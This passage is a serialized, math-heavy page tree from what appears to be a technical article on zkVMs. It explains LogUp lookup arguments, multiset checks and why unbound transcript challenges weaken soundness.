},[114425],{"type":22,"tag":2977,"props":114426,"children":114427},{"d":113642},[],{"type":22,"tag":264,"props":114429,"children":114431},{"className":114430},[415],[114432],{"type":27,"value":2806},{"type":27,"value":114434}," is linear in the table values ",{"type":22,"tag":257,"props":114436,"children":114438},{"className":114437},[260,261],[114439],{"type":22,"tag":264,"props":114440,"children":114442},{"className":114441},[267],[114443],{"type":22,"tag":264,"props":114444,"children":114446},{"className":114445,"ariaHidden":273},[272],[114447],{"type":22,"tag":264,"props":114448,"children":114450},{"className":114449},[278],[114451,114455,114460,114465,114514],{"type":22,"tag":264,"props":114452,"children":114454},{"className":114453,"style":113941},[283],[],{"type":22,"tag":264,"props":114456,"children":114458},{"className":114457,"style":96722},[289,2178],[114459],{"type":27,"value":34401},{"type":22,"tag":264,"props":114461,"children":114463},{"className":114462},[294],[114464],{"type":27,"value":2660},{"type":22,"tag":264,"props":114466,"children":114468},{"className":114467},[289,113516],[114469],{"type":22,"tag":264,"props":114470,"children":114472},{"className":114471},[305],[114473],{"type":22,"tag":264,"props":114474,"children":114476},{"className":114475},[311],[114477],{"type":22,"tag":264,"props":114478,"children":114480},{"className":114479,"style":113728},[316],[114481,114493],{"type":22,"tag":264,"props":114482,"children":114483},{"style":3602},[114484,114488],{"type":22,"tag":264,"props":114485,"children":114487},{"className":114486,"style":327},[326],[],{"type":22,"tag":264,"props":114489,"children":114491},{"className":114490},[289,2178],[114492],{"type":27,"value":2181},{"type":22,"tag":264,"props":114494,"children":114495},{"style":113896},[114496,114500],{"type":22,"tag":264,"props":114497,"children":114499},{"className":114498,"style":327},[326],[],{"type":22,"tag":264,"props":114501,"children":114503},{"className":114502,"style":113755},[113554],[114504],{"type":22,"tag":264,"props":114505,"children":114507},{"className":114506,"style":113630},[113629],[114508],{"type":22,"tag":2968,"props":114509,"children":114510},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[114511],{"type":22,"tag":2977,"props":114512,"children":114513},{"d":113642},[],{"type":22,"tag":264,"props":114515,"children":114517},{"className":114516},[415],[114518],{"type":27,"value":2806},{"type":27,"value":210},{"type":22,"tag":23,"props":114521,"children":114522},{},[114523,114525,114594],{"type":27,"value":114524},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":22,"tag":257,"props":114526,"children":114528},{"className":114527},[260,261],[114529],{"type":22,"tag":264,"props":114530,"children":114532},{"className":114531},[267],[114533],{"type":22,"tag":264,"props":114534,"children":114536},{"className":114535,"ariaHidden":273},[272],[114537],{"type":22,"tag":264,"props":114538,"children":114540},{"className":114539},[278],[114541,114545],{"type":22,"tag":264,"props":114542,"children":114544},{"className":114543,"style":113600},[283],[],{"type":22,"tag":264,"props":114546,"children":114548},{"className":114547},[289,113516],[114549],{"type":22,"tag":264,"props":114550,"children":114552},{"className":114551},[305],[114553],{"type":22,"tag":264,"props":114554,"children":114556},{"className":114555},[311],[114557],{"type":22,"tag":264,"props":114558,"children":114560},{"className":114559,"style":113600},[316],[114561,114573],{"type":22,"tag":264,"props":114562,"children":114563},{"style":3602},[114564,114568],{"type":22,"tag":264,"props":114565,"children":114567},{"className":114566,"style":327},[326],[],{"type":22,"tag":264,"props":114569,"children":114571},{"className":114570,"style":94370},[289,2178],[114572],{"type":27,"value":95188},{"type":22,"tag":264,"props":114574,"children":114575},{"style":3602},[114576,114580],{"type":22,"tag":264,"props":114577,"children":114579},{"className":114578,"style":327},[326],[],{"type":22,"tag":264,"props":114581,"children":114583},{"className":114582,"style":113624},[113554],[114584],{"type":22,"tag":264,"props":114585,"children":114587},{"className":114586,"style":113630},[113629],[114588],{"type":22,"tag":2968,"props":114589,"children":114590},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[114591],{"type":22,"tag":2977,"props":114592,"children":114593},{"d":113642},[],{"type":27,"value":114595}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":22,"tag":181,"props":114597,"children":114599},{"id":114598},"lookup-arguments-logup",[114600],{"type":27,"value":114601},"Lookup Arguments (LogUp)",{"type":22,"tag":23,"props":114603,"children":114604},{},[114605],{"type":27,"value":114606},"zkVMs need to check that values satisfy certain properties. For example:",{"type":22,"tag":17988,"props":114608,"children":114609},{},[114610,114666,114671],{"type":22,"tag":1871,"props":114611,"children":114612},{},[114613,114615,114665],{"type":27,"value":114614},"Is this byte in range ",{"type":22,"tag":257,"props":114616,"children":114618},{"className":114617},[260,261],[114619],{"type":22,"tag":264,"props":114620,"children":114622},{"className":114621},[267],[114623],{"type":22,"tag":264,"props":114624,"children":114626},{"className":114625,"ariaHidden":273},[272],[114627],{"type":22,"tag":264,"props":114628,"children":114630},{"className":114629},[278],[114631,114635,114640,114645,114650,114654,114660],{"type":22,"tag":264,"props":114632,"children":114634},{"className":114633,"style":5409},[283],[],{"type":22,"tag":264,"props":114636,"children":114638},{"className":114637},[294],[114639],{"type":27,"value":5045},{"type":22,"tag":264,"props":114641,"children":114643},{"className":114642},[289],[114644],{"type":27,"value":5334},{"type":22,"tag":264,"props":114646,"children":114648},{"className":114647},[5420],[114649],{"type":27,"value":5423},{"type":22,"tag":264,"props":114651,"children":114653},{"className":114652,"style":5427},[420],[],{"type":22,"tag":264,"props":114655,"children":114657},{"className":114656},[289],[114658],{"type":27,"value":114659},"255",{"type":22,"tag":264,"props":114661,"children":114663},{"className":114662},[415],[114664],{"type":27,"value":16710},{"type":27,"value":4458},{"type":22,"tag":1871,"props":114667,"children":114668},{},[114669],{"type":27,"value":114670},"Does this opcode decode correctly?",{"type":22,"tag":1871,"props":114672,"children":114673},{},[114674],{"type":27,"value":114675},"Is this memory access consistent with previous accesses?",{"type":22,"tag":23,"props":114677,"children":114678},{},[114679,114684],{"type":22,"tag":242,"props":114680,"children":114681},{},[114682],{"type":27,"value":114683},"The naive approach:",{"type":27,"value":114685}," Add constraints for each check. Expensive.",{"type":22,"tag":23,"props":114687,"children":114688},{},[114689,114694,114696,114701],{"type":22,"tag":242,"props":114690,"children":114691},{},[114692],{"type":27,"value":114693},"The clever approach:",{"type":27,"value":114695}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":22,"tag":242,"props":114697,"children":114698},{},[114699],{"type":27,"value":114700},"multiset membership",{"type":27,"value":69119},{"type":22,"tag":23,"props":114703,"children":114704},{},[114705,114710],{"type":22,"tag":242,"props":114706,"children":114707},{},[114708],{"type":27,"value":114709},"LogUp (Logarithmic Derivative):",{"type":27,"value":114711}," Encode multiset membership as a sum of fractions.",{"type":22,"tag":23,"props":114713,"children":114714},{},[114715,114717,114742,114744,114771],{"type":27,"value":114716},"If set ",{"type":22,"tag":257,"props":114718,"children":114720},{"className":114719},[260,261],[114721],{"type":22,"tag":264,"props":114722,"children":114724},{"className":114723},[267],[114725],{"type":22,"tag":264,"props":114726,"children":114728},{"className":114727,"ariaHidden":273},[272],[114729],{"type":22,"tag":264,"props":114730,"children":114732},{"className":114731},[278],[114733,114737],{"type":22,"tag":264,"props":114734,"children":114736},{"className":114735,"style":441},[283],[],{"type":22,"tag":264,"props":114738,"children":114740},{"className":114739},[289,2178],[114741],{"type":27,"value":78093},{"type":27,"value":114743}," should equal set ",{"type":22,"tag":257,"props":114745,"children":114747},{"className":114746},[260,261],[114748],{"type":22,"tag":264,"props":114749,"children":114751},{"className":114750},[267],[114752],{"type":22,"tag":264,"props":114753,"children":114755},{"className":114754,"ariaHidden":273},[272],[114756],{"type":22,"tag":264,"props":114757,"children":114759},{"className":114758},[278],[114760,114764],{"type":22,"tag":264,"props":114761,"children":114763},{"className":114762,"style":441},[283],[],{"type":22,"tag":264,"props":114765,"children":114768},{"className":114766,"style":114767},[289,2178],"margin-right:0.05017em;",[114769],{"type":27,"value":114770},"B",{"type":27,"value":114772}," as multisets:",{"type":22,"tag":23,"props":114774,"children":114775},{},[114776],{"type":22,"tag":257,"props":114777,"children":114779},{"className":114778},[260,261],[114780],{"type":22,"tag":264,"props":114781,"children":114783},{"className":114782},[267],[114784],{"type":22,"tag":264,"props":114785,"children":114787},{"className":114786,"ariaHidden":273},[272],[114788,114996],{"type":22,"tag":264,"props":114789,"children":114791},{"className":114790},[278],[114792,114797,114870,114874,114983,114987,114992],{"type":22,"tag":264,"props":114793,"children":114796},{"className":114794,"style":114795},[283],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":22,"tag":264,"props":114798,"children":114800},{"className":114799},[22929],[114801,114806],{"type":22,"tag":264,"props":114802,"children":114804},{"className":114803,"style":22936},[22929,22934,22935],[114805],{"type":27,"value":110163},{"type":22,"tag":264,"props":114807,"children":114809},{"className":114808},[2147],[114810],{"type":22,"tag":264,"props":114811,"children":114813},{"className":114812},[305,306],[114814,114858],{"type":22,"tag":264,"props":114815,"children":114817},{"className":114816},[311],[114818,114853],{"type":22,"tag":264,"props":114819,"children":114822},{"className":114820,"style":114821},[316],"height:0.1786em;",[114823],{"type":22,"tag":264,"props":114824,"children":114825},{"style":22959},[114826,114830],{"type":22,"tag":264,"props":114827,"children":114829},{"className":114828,"style":2169},[326],[],{"type":22,"tag":264,"props":114831,"children":114833},{"className":114832},[332,333,334,335],[114834],{"type":22,"tag":264,"props":114835,"children":114837},{"className":114836},[289,335],[114838,114843,114848],{"type":22,"tag":264,"props":114839,"children":114841},{"className":114840},[289,2178,335],[114842],{"type":27,"value":69},{"type":22,"tag":264,"props":114844,"children":114846},{"className":114845},[426,335],[114847],{"type":27,"value":22999},{"type":22,"tag":264,"props":114849,"children":114851},{"className":114850},[289,2178,335],[114852],{"type":27,"value":78093},{"type":22,"tag":264,"props":114854,"children":114856},{"className":114855},[396],[114857],{"type":27,"value":399},{"type":22,"tag":264,"props":114859,"children":114861},{"className":114860},[311],[114862],{"type":22,"tag":264,"props":114863,"children":114866},{"className":114864,"style":114865},[316],"height:0.3271em;",[114867],{"type":22,"tag":264,"props":114868,"children":114869},{},[],{"type":22,"tag":264,"props":114871,"children":114873},{"className":114872,"style":5427},[420],[],{"type":22,"tag":264,"props":114875,"children":114877},{"className":114876},[289],[114878,114882,114979],{"type":22,"tag":264,"props":114879,"children":114881},{"className":114880},[294,295],[],{"type":22,"tag":264,"props":114883,"children":114885},{"className":114884},[300],[114886],{"type":22,"tag":264,"props":114887,"children":114889},{"className":114888},[305,306],[114890,114967],{"type":22,"tag":264,"props":114891,"children":114893},{"className":114892},[311],[114894,114962],{"type":22,"tag":264,"props":114895,"children":114898},{"className":114896,"style":114897},[316],"height:0.8451em;",[114899,114931,114942],{"type":22,"tag":264,"props":114900,"children":114901},{"style":321},[114902,114906],{"type":22,"tag":264,"props":114903,"children":114905},{"className":114904,"style":327},[326],[],{"type":22,"tag":264,"props":114907,"children":114909},{"className":114908},[332,333,334,335],[114910],{"type":22,"tag":264,"props":114911,"children":114913},{"className":114912},[289,335],[114914,114921,114926],{"type":22,"tag":264,"props":114915,"children":114918},{"className":114916,"style":114917},[289,2178,335],"margin-right:0.04398em;",[114919],{"type":27,"value":114920},"z",{"type":22,"tag":264,"props":114922,"children":114924},{"className":114923},[670,335],[114925],{"type":27,"value":5372},{"type":22,"tag":264,"props":114927,"children":114929},{"className":114928},[289,2178,335],[114930],{"type":27,"value":69},{"type":22,"tag":264,"props":114932,"children":114933},{"style":349},[114934,114938],{"type":22,"tag":264,"props":114935,"children":114937},{"className":114936,"style":327},[326],[],{"type":22,"tag":264,"props":114939,"children":114941},{"className":114940,"style":359},[358],[],{"type":22,"tag":264,"props":114943,"children":114944},{"style":363},[114945,114949],{"type":22,"tag":264,"props":114946,"children":114948},{"className":114947,"style":327},[326],[],{"type":22,"tag":264,"props":114950,"children":114952},{"className":114951},[332,333,334,335],[114953],{"type":22,"tag":264,"props":114954,"children":114956},{"className":114955},[289,335],[114957],{"type":22,"tag":264,"props":114958,"children":114960},{"className":114959},[289,335],[114961],{"type":27,"value":602},{"type":22,"tag":264,"props":114963,"children":114965},{"className":114964},[396],[114966],{"type":27,"value":399},{"type":22,"tag":264,"props":114968,"children":114970},{"className":114969},[311],[114971],{"type":22,"tag":264,"props":114972,"children":114975},{"className":114973,"style":114974},[316],"height:0.4033em;",[114976],{"type":22,"tag":264,"props":114977,"children":114978},{},[],{"type":22,"tag":264,"props":114980,"children":114982},{"className":114981},[415,295],[],{"type":22,"tag":264,"props":114984,"children":114986},{"className":114985,"style":421},[420],[],{"type":22,"tag":264,"props":114988,"children":114990},{"className":114989},[426],[114991],{"type":27,"value":429},{"type":22,"tag":264,"props":114993,"children":114995},{"className":114994,"style":421},[420],[],{"type":22,"tag":264,"props":114997,"children":114999},{"className":114998},[278],[115000,115004,115076,115080],{"type":22,"tag":264,"props":115001,"children":115003},{"className":115002,"style":114795},[283],[],{"type":22,"tag":264,"props":115005,"children":115007},{"className":115006},[22929],[115008,115013],{"type":22,"tag":264,"props":115009,"children":115011},{"className":115010,"style":22936},[22929,22934,22935],[115012],{"type":27,"value":110163},{"type":22,"tag":264,"props":115014,"children":115016},{"className":115015},[2147],[115017],{"type":22,"tag":264,"props":115018,"children":115020},{"className":115019},[305,306],[115021,115065],{"type":22,"tag":264,"props":115022,"children":115024},{"className":115023},[311],[115025,115060],{"type":22,"tag":264,"props":115026,"children":115029},{"className":115027,"style":115028},[316],"height:0.1864em;",[115030],{"type":22,"tag":264,"props":115031,"children":115032},{"style":22959},[115033,115037],{"type":22,"tag":264,"props":115034,"children":115036},{"className":115035,"style":2169},[326],[],{"type":22,"tag":264,"props":115038,"children":115040},{"className":115039},[332,333,334,335],[115041],{"type":22,"tag":264,"props":115042,"children":115044},{"className":115043},[289,335],[115045,115050,115055],{"type":22,"tag":264,"props":115046,"children":115048},{"className":115047},[289,2178,335],[115049],{"type":27,"value":2181},{"type":22,"tag":264,"props":115051,"children":115053},{"className":115052},[426,335],[115054],{"type":27,"value":22999},{"type":22,"tag":264,"props":115056,"children":115058},{"className":115057,"style":114767},[289,2178,335],[115059],{"type":27,"value":114770},{"type":22,"tag":264,"props":115061,"children":115063},{"className":115062},[396],[115064],{"type":27,"value":399},{"type":22,"tag":264,"props":115066,"children":115068},{"className":115067},[311],[115069],{"type":22,"tag":264,"props":115070,"children":115072},{"className":115071,"style":114865},[316],[115073],{"type":22,"tag":264,"props":115074,"children":115075},{},[],{"type":22,"tag":264,"props":115077,"children":115079},{"className":115078,"style":5427},[420],[],{"type":22,"tag":264,"props":115081,"children":115083},{"className":115082},[289],[115084,115088,115181],{"type":22,"tag":264,"props":115085,"children":115087},{"className":115086},[294,295],[],{"type":22,"tag":264,"props":115089,"children":115091},{"className":115090},[300],[115092],{"type":22,"tag":264,"props":115093,"children":115095},{"className":115094},[305,306],[115096,115170],{"type":22,"tag":264,"props":115097,"children":115099},{"className":115098},[311],[115100,115165],{"type":22,"tag":264,"props":115101,"children":115103},{"className":115102,"style":114897},[316],[115104,115134,115145],{"type":22,"tag":264,"props":115105,"children":115106},{"style":321},[115107,115111],{"type":22,"tag":264,"props":115108,"children":115110},{"className":115109,"style":327},[326],[],{"type":22,"tag":264,"props":115112,"children":115114},{"className":115113},[332,333,334,335],[115115],{"type":22,"tag":264,"props":115116,"children":115118},{"className":115117},[289,335],[115119,115124,115129],{"type":22,"tag":264,"props":115120,"children":115122},{"className":115121,"style":114917},[289,2178,335],[115123],{"type":27,"value":114920},{"type":22,"tag":264,"props":115125,"children":115127},{"className":115126},[670,335],[115128],{"type":27,"value":5372},{"type":22,"tag":264,"props":115130,"children":115132},{"className":115131},[289,2178,335],[115133],{"type":27,"value":2181},{"type":22,"tag":264,"props":115135,"children":115136},{"style":349},[115137,115141],{"type":22,"tag":264,"props":115138,"children":115140},{"className":115139,"style":327},[326],[],{"type":22,"tag":264,"props":115142,"children":115144},{"className":115143,"style":359},[358],[],{"type":22,"tag":264,"props":115146,"children":115147},{"style":363},[115148,115152],{"type":22,"tag":264,"props":115149,"children":115151},{"className":115150,"style":327},[326],[],{"type":22,"tag":264,"props":115153,"children":115155},{"className":115154},[332,333,334,335],[115156],{"type":22,"tag":264,"props":115157,"children":115159},{"className":115158},[289,335],[115160],{"type":22,"tag":264,"props":115161,"children":115163},{"className":115162},[289,335],[115164],{"type":27,"value":602},{"type":22,"tag":264,"props":115166,"children":115168},{"className":115167},[396],[115169],{"type":27,"value":399},{"type":22,"tag":264,"props":115171,"children":115173},{"className":115172},[311],[115174],{"type":22,"tag":264,"props":115175,"children":115177},{"className":115176,"style":114974},[316],[115178],{"type":22,"tag":264,"props":115179,"children":115180},{},[],{"type":22,"tag":264,"props":115182,"children":115184},{"className":115183},[415,295],[],{"type":22,"tag":23,"props":115186,"children":115187},{},[115188,115190,115215],{"type":27,"value":115189},"for random challenge ",{"type":22,"tag":257,"props":115191,"children":115193},{"className":115192},[260,261],[115194],{"type":22,"tag":264,"props":115195,"children":115197},{"className":115196},[267],[115198],{"type":22,"tag":264,"props":115199,"children":115201},{"className":115200,"ariaHidden":273},[272],[115202],{"type":22,"tag":264,"props":115203,"children":115205},{"className":115204},[278],[115206,115210],{"type":22,"tag":264,"props":115207,"children":115209},{"className":115208,"style":112208},[283],[],{"type":22,"tag":264,"props":115211,"children":115213},{"className":115212,"style":114917},[289,2178],[115214],{"type":27,"value":114920},{"type":27,"value":115216},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":22,"tag":23,"props":115218,"children":115219},{},[115220,115225],{"type":22,"tag":242,"props":115221,"children":115222},{},[115223],{"type":27,"value":115224},"In zkVMs:",{"type":27,"value":115226}," Different components emit and consume lookup tuples:",{"type":22,"tag":17988,"props":115228,"children":115229},{},[115230,115317],{"type":22,"tag":1871,"props":115231,"children":115232},{},[115233,115235,115261,115263,115288,115290,115316],{"type":27,"value":115234},"CPU emits: \"I read value ",{"type":22,"tag":257,"props":115236,"children":115238},{"className":115237},[260,261],[115239],{"type":22,"tag":264,"props":115240,"children":115242},{"className":115241},[267],[115243],{"type":22,"tag":264,"props":115244,"children":115246},{"className":115245,"ariaHidden":273},[272],[115247],{"type":22,"tag":264,"props":115248,"children":115250},{"className":115249},[278],[115251,115255],{"type":22,"tag":264,"props":115252,"children":115254},{"className":115253,"style":112208},[283],[],{"type":22,"tag":264,"props":115256,"children":115258},{"className":115257,"style":94855},[289,2178],[115259],{"type":27,"value":115260},"v",{"type":27,"value":115262}," from address ",{"type":22,"tag":257,"props":115264,"children":115266},{"className":115265},[260,261],[115267],{"type":22,"tag":264,"props":115268,"children":115270},{"className":115269},[267],[115271],{"type":22,"tag":264,"props":115272,"children":115274},{"className":115273,"ariaHidden":273},[272],[115275],{"type":22,"tag":264,"props":115276,"children":115278},{"className":115277},[278],[115279,115283],{"type":22,"tag":264,"props":115280,"children":115282},{"className":115281,"style":112208},[283],[],{"type":22,"tag":264,"props":115284,"children":115286},{"className":115285},[289,2178],[115287],{"type":27,"value":69},{"type":27,"value":115289}," at time ",{"type":22,"tag":257,"props":115291,"children":115293},{"className":115292},[260,261],[115294],{"type":22,"tag":264,"props":115295,"children":115297},{"className":115296},[267],[115298],{"type":22,"tag":264,"props":115299,"children":115301},{"className":115300,"ariaHidden":273},[272],[115302],{"type":22,"tag":264,"props":115303,"children":115305},{"className":115304},[278],[115306,115311],{"type":22,"tag":264,"props":115307,"children":115310},{"className":115308,"style":115309},[283],"height:0.6151em;",[],{"type":22,"tag":264,"props":115312,"children":115314},{"className":115313},[289,2178],[115315],{"type":27,"value":23033},{"type":27,"value":21366},{"type":22,"tag":1871,"props":115318,"children":115319},{},[115320,115322,115347,115349,115374,115376,115401],{"type":27,"value":115321},"Memory table consumes: \"At time ",{"type":22,"tag":257,"props":115323,"children":115325},{"className":115324},[260,261],[115326],{"type":22,"tag":264,"props":115327,"children":115329},{"className":115328},[267],[115330],{"type":22,"tag":264,"props":115331,"children":115333},{"className":115332,"ariaHidden":273},[272],[115334],{"type":22,"tag":264,"props":115335,"children":115337},{"className":115336},[278],[115338,115342],{"type":22,"tag":264,"props":115339,"children":115341},{"className":115340,"style":115309},[283],[],{"type":22,"tag":264,"props":115343,"children":115345},{"className":115344},[289,2178],[115346],{"type":27,"value":23033},{"type":27,"value":115348},", address ",{"type":22,"tag":257,"props":115350,"children":115352},{"className":115351},[260,261],[115353],{"type":22,"tag":264,"props":115354,"children":115356},{"className":115355},[267],[115357],{"type":22,"tag":264,"props":115358,"children":115360},{"className":115359,"ariaHidden":273},[272],[115361],{"type":22,"tag":264,"props":115362,"children":115364},{"className":115363},[278],[115365,115369],{"type":22,"tag":264,"props":115366,"children":115368},{"className":115367,"style":112208},[283],[],{"type":22,"tag":264,"props":115370,"children":115372},{"className":115371},[289,2178],[115373],{"type":27,"value":69},{"type":27,"value":115375}," contained ",{"type":22,"tag":257,"props":115377,"children":115379},{"className":115378},[260,261],[115380],{"type":22,"tag":264,"props":115381,"children":115383},{"className":115382},[267],[115384],{"type":22,"tag":264,"props":115385,"children":115387},{"className":115386,"ariaHidden":273},[272],[115388],{"type":22,"tag":264,"props":115389,"children":115391},{"className":115390},[278],[115392,115396],{"type":22,"tag":264,"props":115393,"children":115395},{"className":115394,"style":112208},[283],[],{"type":22,"tag":264,"props":115397,"children":115399},{"className":115398,"style":94855},[289,2178],[115400],{"type":27,"value":115260},{"type":27,"value":21366},{"type":22,"tag":23,"props":115403,"children":115404},{},[115405],{"type":27,"value":115406},"If everything balances, the execution is consistent.",{"type":22,"tag":23,"props":115408,"children":115409},{},[115410,115415],{"type":22,"tag":242,"props":115411,"children":115412},{},[115413],{"type":27,"value":115414},"The claimed_sum:",{"type":27,"value":115416}," Each component computes its contribution to the LogUp sum:",{"type":22,"tag":23,"props":115418,"children":115419},{},[115420],{"type":22,"tag":257,"props":115421,"children":115423},{"className":115422},[260,261],[115424],{"type":22,"tag":264,"props":115425,"children":115427},{"className":115426},[267],[115428],{"type":22,"tag":264,"props":115429,"children":115431},{"className":115430,"ariaHidden":273},[272],[115432,115529,115780],{"type":22,"tag":264,"props":115433,"children":115435},{"className":115434},[278],[115436,115440,115450,115455,115516,115520,115525],{"type":22,"tag":264,"props":115437,"children":115439},{"className":115438,"style":95781},[283],[],{"type":22,"tag":264,"props":115441,"children":115443},{"className":115442},[289,27],[115444],{"type":22,"tag":264,"props":115445,"children":115447},{"className":115446},[289],[115448],{"type":27,"value":115449},"claimed",{"type":22,"tag":264,"props":115451,"children":115453},{"className":115452,"style":94370},[289],[115454],{"type":27,"value":4385},{"type":22,"tag":264,"props":115456,"children":115458},{"className":115457},[289],[115459,115468],{"type":22,"tag":264,"props":115460,"children":115462},{"className":115461},[289,27],[115463],{"type":22,"tag":264,"props":115464,"children":115466},{"className":115465},[289],[115467],{"type":27,"value":77958},{"type":22,"tag":264,"props":115469,"children":115471},{"className":115470},[2147],[115472],{"type":22,"tag":264,"props":115473,"children":115475},{"className":115474},[305,306],[115476,115505],{"type":22,"tag":264,"props":115477,"children":115479},{"className":115478},[311],[115480,115500],{"type":22,"tag":264,"props":115481,"children":115483},{"className":115482,"style":94898},[316],[115484],{"type":22,"tag":264,"props":115485,"children":115486},{"style":2694},[115487,115491],{"type":22,"tag":264,"props":115488,"children":115490},{"className":115489,"style":2169},[326],[],{"type":22,"tag":264,"props":115492,"children":115494},{"className":115493},[332,333,334,335],[115495],{"type":22,"tag":264,"props":115496,"children":115498},{"className":115497},[289,2178,335],[115499],{"type":27,"value":5050},{"type":22,"tag":264,"props":115501,"children":115503},{"className":115502},[396],[115504],{"type":27,"value":399},{"type":22,"tag":264,"props":115506,"children":115508},{"className":115507},[311],[115509],{"type":22,"tag":264,"props":115510,"children":115512},{"className":115511,"style":2721},[316],[115513],{"type":22,"tag":264,"props":115514,"children":115515},{},[],{"type":22,"tag":264,"props":115517,"children":115519},{"className":115518,"style":421},[420],[],{"type":22,"tag":264,"props":115521,"children":115523},{"className":115522},[426],[115524],{"type":27,"value":429},{"type":22,"tag":264,"props":115526,"children":115528},{"className":115527,"style":421},[420],[],{"type":22,"tag":264,"props":115530,"children":115532},{"className":115531},[278],[115533,115538,115598,115602,115767,115771,115776],{"type":22,"tag":264,"props":115534,"children":115537},{"className":115535,"style":115536},[283],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":22,"tag":264,"props":115539,"children":115541},{"className":115540},[22929],[115542,115547],{"type":22,"tag":264,"props":115543,"children":115545},{"className":115544,"style":22936},[22929,22934,22935],[115546],{"type":27,"value":110163},{"type":22,"tag":264,"props":115548,"children":115550},{"className":115549},[2147],[115551],{"type":22,"tag":264,"props":115552,"children":115554},{"className":115553},[305,306],[115555,115586],{"type":22,"tag":264,"props":115556,"children":115558},{"className":115557},[311],[115559,115581],{"type":22,"tag":264,"props":115560,"children":115563},{"className":115561,"style":115562},[316],"height:0.162em;",[115564],{"type":22,"tag":264,"props":115565,"children":115566},{"style":22959},[115567,115571],{"type":22,"tag":264,"props":115568,"children":115570},{"className":115569,"style":2169},[326],[],{"type":22,"tag":264,"props":115572,"children":115574},{"className":115573},[332,333,334,335],[115575],{"type":22,"tag":264,"props":115576,"children":115579},{"className":115577,"style":115578},[289,2178,335],"margin-right:0.05724em;",[115580],{"type":27,"value":9951},{"type":22,"tag":264,"props":115582,"children":115584},{"className":115583},[396],[115585],{"type":27,"value":399},{"type":22,"tag":264,"props":115587,"children":115589},{"className":115588},[311],[115590],{"type":22,"tag":264,"props":115591,"children":115594},{"className":115592,"style":115593},[316],"height:0.4358em;",[115595],{"type":22,"tag":264,"props":115596,"children":115597},{},[],{"type":22,"tag":264,"props":115599,"children":115601},{"className":115600,"style":5427},[420],[],{"type":22,"tag":264,"props":115603,"children":115605},{"className":115604},[289],[115606,115610,115763],{"type":22,"tag":264,"props":115607,"children":115609},{"className":115608},[294,295],[],{"type":22,"tag":264,"props":115611,"children":115613},{"className":115612},[300],[115614],{"type":22,"tag":264,"props":115615,"children":115617},{"className":115616},[305,306],[115618,115751],{"type":22,"tag":264,"props":115619,"children":115621},{"className":115620},[311],[115622,115746],{"type":22,"tag":264,"props":115623,"children":115625},{"className":115624,"style":114897},[316],[115626,115715,115726],{"type":22,"tag":264,"props":115627,"children":115628},{"style":321},[115629,115633],{"type":22,"tag":264,"props":115630,"children":115632},{"className":115631,"style":327},[326],[],{"type":22,"tag":264,"props":115634,"children":115636},{"className":115635},[332,333,334,335],[115637],{"type":22,"tag":264,"props":115638,"children":115640},{"className":115639},[289,335],[115641,115646,115651],{"type":22,"tag":264,"props":115642,"children":115644},{"className":115643,"style":114917},[289,2178,335],[115645],{"type":27,"value":114920},{"type":22,"tag":264,"props":115647,"children":115649},{"className":115648},[670,335],[115650],{"type":27,"value":5372},{"type":22,"tag":264,"props":115652,"children":115654},{"className":115653},[289,335],[115655,115664],{"type":22,"tag":264,"props":115656,"children":115658},{"className":115657},[289,27,335],[115659],{"type":22,"tag":264,"props":115660,"children":115662},{"className":115661},[289,335],[115663],{"type":27,"value":63330},{"type":22,"tag":264,"props":115665,"children":115667},{"className":115666},[2147],[115668],{"type":22,"tag":264,"props":115669,"children":115671},{"className":115670},[305,306],[115672,115703],{"type":22,"tag":264,"props":115673,"children":115675},{"className":115674},[311],[115676,115698],{"type":22,"tag":264,"props":115677,"children":115680},{"className":115678,"style":115679},[316],"height:0.3281em;",[115681],{"type":22,"tag":264,"props":115682,"children":115684},{"style":115683},"top:-2.357em;margin-right:0.0714em;",[115685,115689],{"type":22,"tag":264,"props":115686,"children":115688},{"className":115687,"style":110228},[326],[],{"type":22,"tag":264,"props":115690,"children":115692},{"className":115691},[332,110233,110234,335],[115693],{"type":22,"tag":264,"props":115694,"children":115696},{"className":115695,"style":115578},[289,2178,335],[115697],{"type":27,"value":9951},{"type":22,"tag":264,"props":115699,"children":115701},{"className":115700},[396],[115702],{"type":27,"value":399},{"type":22,"tag":264,"props":115704,"children":115706},{"className":115705},[311],[115707],{"type":22,"tag":264,"props":115708,"children":115711},{"className":115709,"style":115710},[316],"height:0.2819em;",[115712],{"type":22,"tag":264,"props":115713,"children":115714},{},[],{"type":22,"tag":264,"props":115716,"children":115717},{"style":349},[115718,115722],{"type":22,"tag":264,"props":115719,"children":115721},{"className":115720,"style":327},[326],[],{"type":22,"tag":264,"props":115723,"children":115725},{"className":115724,"style":359},[358],[],{"type":22,"tag":264,"props":115727,"children":115728},{"style":363},[115729,115733],{"type":22,"tag":264,"props":115730,"children":115732},{"className":115731,"style":327},[326],[],{"type":22,"tag":264,"props":115734,"children":115736},{"className":115735},[332,333,334,335],[115737],{"type":22,"tag":264,"props":115738,"children":115740},{"className":115739},[289,335],[115741],{"type":22,"tag":264,"props":115742,"children":115744},{"className":115743},[289,335],[115745],{"type":27,"value":602},{"type":22,"tag":264,"props":115747,"children":115749},{"className":115748},[396],[115750],{"type":27,"value":399},{"type":22,"tag":264,"props":115752,"children":115754},{"className":115753},[311],[115755],{"type":22,"tag":264,"props":115756,"children":115759},{"className":115757,"style":115758},[316],"height:0.5423em;",[115760],{"type":22,"tag":264,"props":115761,"children":115762},{},[],{"type":22,"tag":264,"props":115764,"children":115766},{"className":115765},[415,295],[],{"type":22,"tag":264,"props":115768,"children":115770},{"className":115769,"style":665},[420],[],{"type":22,"tag":264,"props":115772,"children":115774},{"className":115773},[670],[115775],{"type":27,"value":5372},{"type":22,"tag":264,"props":115777,"children":115779},{"className":115778,"style":665},[420],[],{"type":22,"tag":264,"props":115781,"children":115783},{"className":115782},[278],[115784,115789,115847,115851],{"type":22,"tag":264,"props":115785,"children":115788},{"className":115786,"style":115787},[283],"height:1.296em;vertical-align:-0.4509em;",[],{"type":22,"tag":264,"props":115790,"children":115792},{"className":115791},[22929],[115793,115798],{"type":22,"tag":264,"props":115794,"children":115796},{"className":115795,"style":22936},[22929,22934,22935],[115797],{"type":27,"val